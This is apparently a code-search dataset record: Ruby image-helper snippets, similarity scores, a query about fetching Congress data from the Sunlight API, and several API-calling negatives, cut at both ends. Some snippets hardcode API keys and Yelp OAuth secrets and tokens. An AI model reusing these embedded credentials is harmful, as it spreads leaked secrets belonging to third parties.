\"[#{image_path(\"#{website.folder}/logo.png\")}, (large)]\"\n q << \"[#{image_path(\"#{website.folder}/logo.png\")}, (medium)]\"\n q << \"[#{image_path(\"#{website.folder}/logo-sm.png\")}, (only screen and (max-width: 720px))]\"\n\n image_tag('', #\"#{website.folder}/logo.png\",\n class: \"no-resize no-resize-for-small\",\n alt: Setting.site_name(website),\n data: { interchange: q.join(\", \") })\n end", "def image\n\n end", "def image(options = {}, html_options = {})\n html_options[:src] = if options.is_a?(String) then options else self.url_for(options) end\n html_options[:alt] ||= File.basename(html_options[:src], '.*').split('.').first.capitalize\n\n if html_options[:size]\n html_options[:width], html_options[:height] = html_options[:size].split(\"x\")\n html_options.delete :size\n end\n\n tag(\"img\", html_options)\n end", "def decorate_image\n if model.image_processed?\n return h.image_tag model.image_url(:thumb) if model.image?\n else\n return '<em>processing...</em>'\n end\n end", "def cloudinary_imgs_cara(key,instance)\n cl_image_tag(key, :quality=>\"auto\", :fetch_format=>:auto, :crop=>\"fit\", :class=>\"d-block mx-auto img-fluid rounded\", :alt=>\"#{instance.name}\")\n end", "def attachment_image_tag(attachment, options={})\n\t\t\tlazy = options.delete(:lazy)\n\t\t\tlazy = 'lazy' if lazy && ( !!lazy == lazy )\n\n\t\t\tresolutions = attachment_resolutions(attachment, options)\n\t\t\tsmallest_resolution = resolutions.sort_by{ |resolution| resolution[:width].to_f * resolution[:height].to_f }.first\n\n\t\t\tsrcset = resolutions.collect do |resolution|\n\t\t\t\t\"#{resolution[:src]} #{resolution[:width].to_i}w\"\n\t\t\tend.join(',')\n\n\t\t\tsizes = nil\n\t\t\t#sizes = resolutions.collect do |resolution|\n\t\t\t#\tmedia = \"(min-width: #{resolution[:breakpoint_min]}px)\"\n\t\t\t#\tmedia = \"#{media} and (max-width: #{resolution[:breakpoint_max]}px)\" if resolution[:breakpoint_max]\n\t\t\t#\t\"#{media} #{resolution[:breakpoint_max] || 9999999}w\"\n\t\t\t#end.join(',')\n\n\t\t\tdefault_image = attachment.service_url if attachment.is_a?( ActiveStorage::Blob ) || ( attachment.respond_to?(:attached?) && attachment.attached? )\n\t\t\tdefault_image ||= options[:fallback]\n\t\t\tdefault_image ||= smallest_resolution[:src]\n\n\t\t\tif lazy\n\t\t\t\toptions['data-srcset'] = srcset\n\t\t\t\toptions['data-sizes'] = sizes\n\t\t\t\toptions['data-src'] = default_image\n\t\t\t\toptions[:class] = \"#{options[:class]} #{lazy}\"\n\t\t\t\timage_tag( 'data:,', options )\n\t\t\telse\n\t\t\t\toptions['srcset'] = srcset\n\t\t\t\toptions['sizes'] = sizes\n\n\t\t\t\timage_tag( default_image, options )\n\t\t\tend\n\n\t\t\t#if lazy\n\t\t\t#\tcontent = image_tag( 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=', options.merge( 'data-src' => smallest_resolution[:src], class: \"#{options[:class]} #{lazy}\" ) )\n\t\t\t#else\n\t\t\t#\tcontent = image_tag( smallest_resolution[:src], options )\n\t\t\t#end\n\t\t\t#resolutions.each do |resolution|\n\t\t\t#\tmedia = \"(min-width: #{resolution[:breakpoint_min]}px)\"\n\t\t\t#\tmedia = \"#{media} and (max-width: #{resolution[:breakpoint_max]}px)\" if resolution[:breakpoint_max]\n\t\t\t#\tcontent = content_tag( :source, '', media: media, srcset: resolution[:src] ) + content\n\t\t\t#end\n\t\t\t#content_tag( :picture, content )\n\n\t\tend", "def image_size(style = default_style)\n return nil if instance_read(:meta).nil? || instance_read(:meta).empty?\n \"#{width(style)}x#{height(style)}\"\n end", "def logo; end", "def logo; end", "def img(src = \"\", alt = \"\", width = nil, height = nil)\n attributes = if src.kind_of?(String)\n { \"SRC\" => src, \"ALT\" => alt }\n else\n src\n end\n attributes[\"WIDTH\"] = width.to_s if width\n attributes[\"HEIGHT\"] = height.to_s if height\n super(attributes)\n end", "def home\n image_tag(\"home.png\", :alt => \"Home\")\n end", "def large_image_width\n 850\n end", "def manageable_icon(name, size = :small, options = {})\n return \"\" if name.nil?\n\n dimension = ( (size == :small) ? \"16\" : \"32\" ).html_safe\n options[:alt] ||= name.capitalize.gsub(\"_\", \" \")\n\n image_tag(asset_path(\"manageable/icons/#{dimension}x#{dimension}/#{name}.png\"), {\n :alt => options[:alt]\n })\n end", "def image\n end", "def image\n end", "def thumb\n @agency_logo = AgencyLogo.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end", "def thumb\n @agency_image = AgencyImage.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end", "def pet_image_tag\n return '' if pet.image_id.to_s.empty?\n\n html.div class: 'pet' do\n h2 'Actual image'\n img src: \"#{UrlAws}#{pet.image_id}\"\n end\n end", "def image_width(image_width)\n end", "def optimize_retina!(name)\n attachment = attachment_definitions[name]\n\n ## Check for style definitions\n styles = attachment[:styles]\n\n retina_options = if attachment[:retina].is_a?(Hash)\n attachment[:retina]\n else\n { :quality => 60 }\n end\n\n ## Get retina quality\n retina_quality = retina_options[:quality] || 40\n\n if styles\n\n retina_styles = {}\n retina_convert_options = {}\n convert_options = attachment[:convert_options]\n\n ## Iterate over styles and set optimzed dimensions\n styles.each_pair do |key, value|\n dimensions = value.kind_of?(Array) ? value[0] : value\n new_dimensions = dimensions.gsub(/\\d+/) { |dimension| dimension.to_i * 2}\n retina_styles[key.to_sym] = value.kind_of?(Array) ? [new_dimensions, value[1]] : new_dimensions\n\n ## Set quality convert option\n convert_option = convert_options[key] if convert_options\n convert_option = convert_option ? \"#{convert_option} -quality #{retina_quality}\" : \"-quality #{retina_quality}\"\n retina_convert_options[key.to_sym] = convert_option\n\n end\n\n ## Override styles with new retina dimensions\n attachment[:styles].merge!(retina_styles)\n\n ## Set quality convert options\n attachment[:convert_options] = {} if attachment[:convert_options].nil?\n attachment[:convert_options].merge!(retina_convert_options)\n\n ## Set save dimensions processor\n if attachment[:processors]\n attachment[:processors] << :save_dimensions\n attachment[:processors] << :thumbnail\n else\n attachment[:processors] = [:thumbnail, :save_dimensions]\n end\n\n end\n end", "def small(input) # Method that returns the image\n self.images[input].variant(resize: \"300x300\").processed # Resizing the image and return it\n end", "def page_image_template\n \"#{slug}-p{page}-{size}.gif\"\n end", "def css_classes\n super + ['show-image']\n end", "def static_image_tag path, sizes, **args\n # If responsive versions have no been defined, an error is thrown\n raise \"No versions defined for static image '#{path}'\" unless STATIC_IMAGE_VERSIONS.key?(path)\n\n # Get the proper extension for this image\n extension = STATIC_IMAGE_PNGS.include?(path) ? 'png' : 'jpg'\n srcset = []\n webp_srcset = []\n\n # Generate the srcset for both the webp, and fallback versions of the image.\n # This srcset will include every responsive image version available.\n STATIC_IMAGE_VERSIONS[path].each do |name, width|\n srcset << \"#{asset_pack_path(\"media/images/#{path}-#{name}.#{extension}\")} #{width}w\"\n webp_srcset << \"#{asset_pack_path(\"media/images/#{path}-#{name}.webp\")} #{width}w\"\n end\n\n # Get the first value of the srcset to be our default src\n src = srcset.first.split(' ')[0]\n\n # Merge the srcsets into one string\n srcset = srcset.join(', ')\n webp_srcset = webp_srcset.join(', ')\n\n capture do\n # Render a basic fallback incase javascript isn't enabled/supported\n concat content_tag(:noscript, tag.img(src: src, **args))\n # Pass our components to another function to build the picture tag\n concat picture_tag(src, srcset, webp_srcset, sizes, **args)\n end\n end", "def imageNamed(name)\n imageNamed568(name) || imageNamed_old(name)\n end", "def simple_image(style)\n product_image_by_spree( wrapped_product.model, style )\n end", "def sss_image_tag url, options = {}\n options[:url] = url\n url = Builder.new(options).build_url()\n '<img src=\"#{url}\">'\n end", "def reg_shirt_image(reg, opts={})\n src = reg.shirt_asset_path()\n image_tag src, opts\n end", "def logo\n logo = image_tag(\"background.png\", :alt => \"background\")\n end", "def as_img_tag()\n \"<img src='#{self.encode}' />\"\n end", "def images; end", "def image_name\n @presenter.is_homepage? ? 'thumb' : 'thumb_inner'\n end", "def sized(width, height)\n\t\t\t@sized_thumb = @template\n\t\t\t@sized_thumb.sub! \"{width}\", width.to_s\n\t\t\t@sized_thumb.sub! \"{height}\", height.to_s\n\t\tend", "def activate\n # :styles => { :mini => '48x48>', :small => '100x100>', :product => '240x240>', :large => '600x600>' },\n\n Image.attachment_definitions[:attachment][:styles] = { :mini => '48x48>',\n :small => '100x100>',\n :product => '600x600>',\n :large => '800x800>' }\n\n # make your helper avaliable in all views\n # Spree::BaseController.class_eval do\n # helper YourHelper\n # end\n end" ]
[ "0.62898046", "0.61662716", "0.61253864", "0.6064011", "0.60363024", "0.60363024", "0.60363024", "0.60363024", "0.60363024", "0.60363024", "0.60155135", "0.60076654", "0.5922267", "0.5909879", "0.5856931", "0.5826851", "0.5822646", "0.58180934", "0.5813877", "0.58072454", "0.57928413", "0.5780168", "0.57684934", "0.57597584", "0.57186955", "0.5662277", "0.5640094", "0.5625464", "0.56195134", "0.5613239", "0.56100637", "0.56089044", "0.5606535", "0.5601962", "0.56015736", "0.55984145", "0.55968523", "0.55851454", "0.5580156", "0.5578474", "0.5570305", "0.5570076", "0.5570076", "0.556173", "0.55599743", "0.55533165", "0.5549572", "0.5542701", "0.5538637", "0.5536434", "0.55339855", "0.5533553", "0.55322003", "0.5530687", "0.55284476", "0.5525592", "0.5517509", "0.5511548", "0.5509939", "0.5494403", "0.5494041", "0.54887205", "0.5462286", "0.5462286", "0.5459761", "0.54546463", "0.54546463", "0.5454041", "0.54507935", "0.5449284", "0.544724", "0.54415405", "0.5421833", "0.54187053", "0.54187053", "0.5416064", "0.5405147", "0.53970677", "0.5396642", "0.5392833", "0.5392833", "0.53924865", "0.5391633", "0.5390834", "0.53871435", "0.53849614", "0.537518", "0.5372115", "0.53618145", "0.5360948", "0.5356446", "0.5349073", "0.53446305", "0.5327898", "0.53238624", "0.53234214", "0.53133154", "0.53066325", "0.53049505", "0.53039247" ]
0.5354255
91
pulls data from Sunlight foundation congress API, using 'congress' Ruby Gem
def index Congress.key = '0ef8e130fe124b69a2388d253fd05e63' #locating the congressmen by the logged on users zip code legislators = Congress.legislators_locate(current_user.zip)["results"] #isolating HOUSE (as opposed to House + Senate). Returning house member listed #in the event more than one appear @representative = legislators.select { |leg| leg.chamber == "house" }[0] #commented out aborted grading system #@grade = Grade.find_by_user_id_and_bioguide_id(current_user.id, @representative.bioguide_id) #sets up comments system @repcomments = Repcomment.find_all_by_bioguide_id(@representative.bioguide_id) #pulls recent votes from Sunlight API @votes = Congress.votes["results"] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def call_api\n\t\tputs \"Getting info on elected officials for zipcode: #{zip_code}\"\n\t\t@api_data_on_electeds = JSON.load RestClient.get \"https://congress.api.sunlightfoundation.com/legislators/locate?zip=#{zip_code}&apikey=952d630dfb75498ab63de7a362a85335\"\n\tend", "def fetch(options = {})\n url = build_url(options)\n puts \"Getting #{url}\"\n\n json = get_response(url)\n\n if self.is_json?\n data = JSON.parse(json)\n else\n data = XmlSimple.xml_in(json)\n end\n\n # TODO: Raise hell if there is a problem\n\n collection = OpenCongressApi::Collection.build(json_result(data))\n collection.map!{|result| format_result(result)}\n end", "def call\n \n # create URI::HTTPS object using the url of the API \n url = URI(\"https://api.covid19api.com/summary\")\n \n # create new Net::HTTP object\n https = Net::HTTP.new(url.host, url.port); \n \n # turn on SSL flag \n https.use_ssl = true\n \n # create Net::HTTP::Get object with the url\n request = Net::HTTP::Get.new(url)\n \n # use the Net::HTTP object to send a request for the information\n # and return the data via a string \n response = https.request(request).read_body\n \n end", "def get_data_from_api\n # address1 = address.parameterize('+')\n # state1 = state.parameterize('+')\n # city1 = city.parameterize('+')\n# \trequest_string = \"https://www.googleapis.com/civicinfo/v2/representatives/?address=#{address}%2C+#{city}%2C+#{state}%2C+#{zipcode}&levels=country&roles=legislatorLowerBody&key=AIzaSyDFYpjPCBUVQLyfS39-lBKRWCkD7-u4zug\" \n# \tcreates a url to access API data\n request_string = \"https://www.googleapis.com/civicinfo/v2/representatives/?address=9+Melrose+Dr.%2C+Livingston%2C+NJ%2C+07039&levels=country&roles=legislatorLowerBody&key=AIzaSyDFYpjPCBUVQLyfS39-lBKRWCkD7-u4zug\"\n\tsample_response = HTTParty.get(request_string) #go grab the data in the portal\n\tsample_parsedResponse = JSON.parse(sample_response.body, {:symbolize_names => true}) #makes data easy to read\n puts sample_parsedResponse[:officials][0][:name] \n puts sample_parsedResponse[:officials][0][:party] \n puts sample_parsedResponse[:officials][0][:phones] \n #returns first element in items array\n end", "def query_for_finances\n base = \"http://www.opensecrets.org/api\"\n header = {\n \"X-API-Key\" => open_secrets_key,\n \"Accept\" => \"application/json\",\n }\n CongressMember.all.each do |cm|\n if cm.crp_id\n options = {\n :apikey => open_secrets_key,\n :output => \"json\",\n :method => \"candIndustry\",\n :cid => cm.crp_id,\n }\n if cm.donations.size < 10\n response = JSON.parse(Faraday.get(base, options, header).body)\n response[\"response\"][\"industries\"][\"industry\"].each do |ind|\n industry_name = ind[\"@attributes\"][\"industry_name\"]\n total = ind[\"@attributes\"][\"total\"]\n industry = Industry.find_or_create_by(:name => industry_name)\n Donation.create(congress_member: cm, amount: total, industry: industry)\n end\n end\n end\n end\nend", "def do_get_cats_data\n message = {country_id: @client.country_code, webapi_key: @client.webapi_key}\n @client.call(:do_get_cats_data, message: message)\n end", "def call\n url = URI(\"https://api.covid19api.com/summary\")\n https = Net::HTTP.new(url.host, url.port);\n https.use_ssl = true\n\n request = Net::HTTP::Get.new(url)\n response = https.request(request).read_body\n\n data_hash = JSON.parse(response)\n end", "def get_coin_data\n response = HTTParty.get(API_URL)\n coindata = response.parsed_response\n end", "def all_companies_information\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_company_info'])\n\t\t url_params = {}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend", "def get url\n puts \"COMMUNICATING WITH TOGGL SERVER COMMUNICATING WITH TOGGL SERVER\"\n uri = URI.parse( url )\n http = Net::HTTP.new( uri.host, uri.port )\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth( @api_key, \"api_token\" )\n request[\"Content-Type\"] = \"application/json\"\n response = http.request( request )\n \n if response.code.to_i==200 # OK\n hash = JSON.parse( response.body )\n elsif response.code.to_i==403 # Authentication\n raise Exceptions::AuthenticationError\n else\n puts \"Error, code #{ response.code }.\"\n puts response.body\n end\n end", "def get_feature_collection(params)\n http = Net::HTTP.new(@city_db_url, @port)\n http.read_timeout = 1000\n if @city_db_is_https\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n request = Net::HTTP::Post.new('/api/search.json')\n request.add_field('Content-Type', 'application/json')\n request.add_field('Accept', 'application/json')\n request.body = JSON.generate(params)\n request.basic_auth(ENV['URBANOPT_USERNAME'], ENV['URBANOPT_PASSWORD'])\n\n response = http.request(request)\n if response.code != '200' # success\n @runner.registerError(\"Bad response #{response.code}\")\n @runner.registerError(response.body)\n return {}\n end\n\n return JSON.parse(response.body, symbolize_names: true)\n end", "def api_request\n url = URI.parse(\"https://catfact.ninja/fact\")\n response = Net::HTTP.get_response(url)\n JSON.parse(response.body)[\"fact\"]\n end", "def salesApi\n require 'uri'\n require 'net/http'\n require 'json'\n\n #Arrays for each category\n \n @frequency = Hash.new(0)\n\n url = URI(\"https://api.salesloft.com/v2/people.json\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n\n request = Net::HTTP::Get.new(url)\n request[\"Authorization\"] = 'Bearer ' + ENV[\"API_KEY\"]\n\n response = http.request(request)\n \n @body = JSON.parse(response.body)['data']\n return @body\n end", "def get_cabinets(options={})\n parser.cabinets_parser(get({ path: ROUTES[:get_cabinets].call, headers: authorization_header_for_rest_api }))\n end", "def index\n @converstation_requests = ConverstationRequest.all\n end", "def call_company_service\n ch_api = CompaniesHouseApi.new\n response = ch_api.company company_number\n parse_response response\n end", "def cost(args = {})\n make_request(\n http_method: :get,\n endpoint: path_for(:cost),\n access_token: args.delete(:access_token),\n options: { query: args }\n )\n end", "def set_congress\n @congress = Congress.find(params[:id])\n end", "def fetch_data(api_url)\n JSON.parse(RestClient.get(api_url))\nend", "def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend", "def fetchInstallations(token)\n url = URI(\"https://api.acceptance.hertekconnect.nl/api/v1/installations\")\n\n http = Net::HTTP.new(url.host, url.port);\n http.use_ssl = true\n request = Net::HTTP::Get.new(url)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Authorization\"] = \"Bearer #{token}\"\n\n response = http.request(request)\n puts response.read_body\nend", "def index\n @congress_members = CongressMember.all\n end", "def get_charges_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ChargesApi.get_charges ...'\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling ChargesApi.get_charges, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling ChargesApi.get_charges, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/charges'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetChargesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"ChargesApi.get_charges\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ChargesApi#get_charges\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch\n response = RestClient.get \"http://pokeapi.co/#{resource_uri}\"\n update(resource_data: JSON.parse(response))\n end", "def get_coupons_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CouponApi.get_coupons ...'\n end\n # resource path\n local_var_path = '/coupon/coupons'\n\n # query parameters\n query_params = {}\n query_params[:'merchant_code'] = opts[:'merchant_code'] if !opts[:'merchant_code'].nil?\n query_params[:'description'] = opts[:'description'] if !opts[:'description'].nil?\n query_params[:'coupon_type'] = opts[:'coupon_type'] if !opts[:'coupon_type'].nil?\n query_params[:'start_date_begin'] = opts[:'start_date_begin'] if !opts[:'start_date_begin'].nil?\n query_params[:'start_date_end'] = opts[:'start_date_end'] if !opts[:'start_date_end'].nil?\n query_params[:'expiration_date_begin'] = opts[:'expiration_date_begin'] if !opts[:'expiration_date_begin'].nil?\n query_params[:'expiration_date_end'] = opts[:'expiration_date_end'] if !opts[:'expiration_date_end'].nil?\n query_params[:'affiliate_oid'] = opts[:'affiliate_oid'] if !opts[:'affiliate_oid'].nil?\n query_params[:'exclude_expired'] = opts[:'exclude_expired'] if !opts[:'exclude_expired'].nil?\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CouponsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CouponApi#get_coupons\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def hit_api_direct\n # CollegiateLink API needs some data to be hashed and sent for auth purposes\n time = (Time.now.to_f * 1000).to_i.to_s\n ipaddress = ENV['cl_ipaddress']\n apikey = ENV['cl_apikey']\n privatekey = ENV['cl_privatekey']\n random = SecureRandom.hex\n hash = Digest::SHA256.hexdigest(apikey + ipaddress + time + random + privatekey)\n\n url = ENV['cl_apiurl'] + @resource + \"?time=\" + time + \"&apikey=\" + apikey + \"&random=\" + random + \"&hash=\" + hash + @url_options\n return send_request(url, nil)\n end", "def index\n duration_hash = {}\n \n sub_sub_category = OneclickRefernet::SubSubCategory.find_by(code: params[:sub_sub_category])\n sub_sub_category_services = sub_sub_category.try(:services) || []\n\n # Base service queries on a collection of UNIQUE services\n services = OneclickRefernet::Service.confirmed.where(id: sub_sub_category_services.pluck(:id).uniq)\n \n lat, lng = params[:lat], params[:lng]\n meters = params[:meters].to_f\n limit = params[:limit] || 10\n \n if lat && lng\n meters = meters > 0.0 ? meters : (30 * 1609.34) # Default to 30 miles\n \n services = services.closest(lat, lng)\n .within_x_meters(lat, lng, meters)\n .limit(limit) \n duration_hash = build_duration_hash(params, services)\n else\n services = services.limit(limit)\n end\n \n render json: services.map { |svc| service_hash(svc, duration_hash) }\n\n end", "def set_congress\n p params[:id]\n @congress = Congress.find(params[:id])\n end", "def search_techcrunch\n response_string = RestClient.get\"https://newsapi.org/v2/top-headlines?sources=techcrunch&apiKey=45aee5b7c7584064ac1b1de6297f5137\"\n response_hash = JSON.parse(response_string.body)\n end", "def call_api\n @client.build_url\n @client.get\n assign_data\n end", "def request_trending\n base_uri = 'http://localhost:8888/developers'\n response = RestClient.get( base_uri, { params: { language: cleaned_query_param } } )\n @data = JSON.parse(response) \n end", "def get_substrates()\n\tputs \"Getting list of substrates.\"\n\tresponse = request_get('/api/partner/substrate')\n\tputs response.body\nend", "def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend", "def company_onethings(start_date,period,interval)\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_all_company'])\n\t\t url_params = {\"period\" => period, \"start_date\" => start_date, \"interval\" => interval}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend", "def api_request(params)\n authenticate\n response = cap_client.get \"#{API_PATH}#{params}\"\n JSON.parse(response.body)\n rescue Faraday::TimeoutError => e\n NotificationManager.error(e, 'Timeout error during CAP-API request', self)\n raise\n rescue StandardError => e\n NotificationManager.error(e, \"#{e.class.name} during CAP-API request\", self)\n raise\n end", "def getinfo\n @api.request 'getinfo'\n end", "def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend", "def fetch(url)\n response = RestClient.get(url)\n data = JSON.parse(response)\n @google_results = data[\"results\"].first(15).map do |result|\n {\n name: result[\"name\"],\n address: result[\"formatted_address\"],\n coordinates: {\n latitude: result[\"geometry\"][\"location\"][\"lat\"],\n longitude: result[\"geometry\"][\"location\"][\"lng\"]\n },\n opening_hours: result[\"opening_hours\"],\n type: result[\"types\"].first,\n rating: result[\"rating\"]\n }\n end\n @google_results\n end", "def getCounchDBData \r\n url = URI.parse(\"http://citivan.iriscouch.com/_utils\") \r\n server = Couch::Server.new(url.host, url.port) \r\n res = server.get(\"/sms/currentUsers\") \r\n json = res.body \r\n json = JSON.parse(json) \r\nend", "def api_call(lat, lon)\n p url = \"https://api.apixu.com/v1/forecast.json?key=#{ENV['WEATHER_KEY']}&q=#{lat},#{lon}&days=7\"\n JSON.parse(open(url).read)\n end", "def initialize\n @url = 'http://api.preachingcentral.com/'\n end", "def index\n @congressos = Congresso.all\n end", "def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end", "def get\n puts '>>> GEO WS'\n puts 'Lat Lng'\n ap params['latlng']\n \n if params.has_key?('latlng')\n \n consumer_key = 'yQOQxtNtpLyPOtPVeOFiuQ'\n consumer_secret = 'wbGrz176uFBeQZazJx_OkYkAng8'\n token = '1St_-kOKX8rKJYf33hO-MB0qdVKJJcQm'\n token_secret = 'X5l9MQ9IBRXrr5eb2jCUU6r-GZM'\n \n api_host = 'api.yelp.com'\n \n consumer = OAuth::Consumer.new(consumer_key, consumer_secret, {:site => \"http://#{api_host}\"})\n access_token = OAuth::AccessToken.new(consumer, token, token_secret)\n \n limit = 10\n offset = params['p'].to_i * limit\n \n # path = \"/v2/search?sort=1&ll=\" + params['latlng'] + \"&limit=\" + limit.to_s + \"&offset=\" + offset.to_s + \"&category_filter=restaurants\"\n path = \"/v2/search?sort=1&ll=\" + params['latlng'] + \"&limit=\" + limit.to_s + \"&category_filter=restaurants\"\n \n ap path\n \n response = JSON.parse(access_token.get(path).body)\n \n # ap response\n \n if response[\"error\"]\n ap response[\"error\"]\n payload = Hash.new\n payload[:success] = false\n payload[:error] = response[\"error\"][\"text\"]\n \n # Create dummy results data\n results = []\n result_r = Hash.new\n result_r[\"yelp_id\"] = \"restaurant-chicago\"\n result_r[\"name\"] = \"Dummy Restaurant\"\n result_r[\"address\"] = \"123 Chicago Ave\"\n result_r[\"phone\"] = \"(312) 555-5555\"\n result_r[\"categories\"] = []\n result_r[\"categories\"] << \"American\"\n result_r[\"categories\"] << \"Food\"\n result_r[\"neighborhoods\"] = []\n result_r[\"neighborhoods\"] << \"River North\"\n results << result_r\n result_b = Hash.new\n result_b[\"yelp_id\"] = \"bar-chicago\"\n result_b[\"name\"] = \"Dummy Bar\"\n result_b[\"address\"] = \"555 Chicago Ave\"\n result_b[\"phone\"] = \"(312) 555-5555\"\n result_b[\"categories\"] = []\n result_b[\"categories\"] << \"Bar\"\n result_b[\"categories\"] << \"Sports Bar\"\n result_b[\"neighborhoods\"] = []\n result_b[\"neighborhoods\"] << \"River North\"\n results << result_b\n results << result_r\n results << result_r\n results << result_r\n results << result_b\n results << result_r\n results << result_b\n results << result_r\n payload[:results] = results\n \n render json: payload and return\n end\n \n results = []\n \n response[\"businesses\"].each do |item|\n # ap item\n \n result = Hash.new\n \n result[\"yelp_id\"] = item[\"id\"]\n result[\"name\"] = item[\"name\"]\n result[\"address\"] = item[\"location\"][\"address\"][0]\n result[\"phone\"] = item[\"display_phone\"]\n result[\"categories\"] = []\n \n item[\"categories\"].each do |category|\n result[\"categories\"] << category[0]\n end\n \n result[\"neighborhoods\"] = []\n \n item[\"location\"][\"neighborhoods\"].each do |neighborhood|\n result[\"neighborhoods\"] << neighborhood\n end\n \n # # CANT SAVE TO DB BECAUSE YELP DATA\n # Create new place if it does not exist\n # place = Place.find_by_uid(result[\"uid\"])\n # if !place\n # puts '>>> place not in DB'\n # place = Place.new\n # \n # ### !!! NOTE: taking uid, location, city out since its not used yet (Open API potentially)\n # \n # # place.uid = result[\"uid\"]\n # place.name = result[\"name\"]\n # # place.location = result[\"vicinity\"]\n # \n # ap result\n # # ap place.location\n # ap place\n # \n # # # Taking city and location out, not used currently\n # # city_const = \", \"\n # # \n # # index = place.location.rindex(city_const)\n # # if index\n # # place.city = 